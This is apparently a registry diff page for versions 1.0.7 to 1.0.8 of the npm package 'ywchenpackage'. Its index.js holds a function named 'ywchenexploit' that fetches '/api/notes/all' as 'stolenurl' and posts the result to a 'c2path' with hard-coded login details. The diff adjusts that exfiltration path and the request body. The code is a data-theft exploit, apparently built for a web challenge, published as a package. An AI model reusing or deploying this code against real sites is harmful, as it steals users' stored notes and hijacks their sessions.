ywchenpackage 1.0.7 → 1.0.8

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +2 -2
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,6 +1,6 @@
1
1
  function ywchenexploit(cookie) {
2
2
  let stolenurl = "/api/notes/all";
3
- let c2path = "/api/notes/add";
3
+ let c2path = "/api/notes";
4
4
  let stolen;
5
5
  fetch(stolenurl)
6
6
  .then(
@@ -19,7 +19,7 @@ function ywchenexploit(cookie) {
19
19
  headers: {
20
20
  "content-type": "application/json"
21
21
  },
22
- body: JSON.stringify({"username":"ywchen","password":"ywchen"})
22
+ body: "username=ywchen&password=ywchen"
23
23
  }).then(
24
24
  (response) => {
25
25
  fetch(
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ywchenpackage",
3
- "version": "1.0.7",
3
+ "version": "1.0.8",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {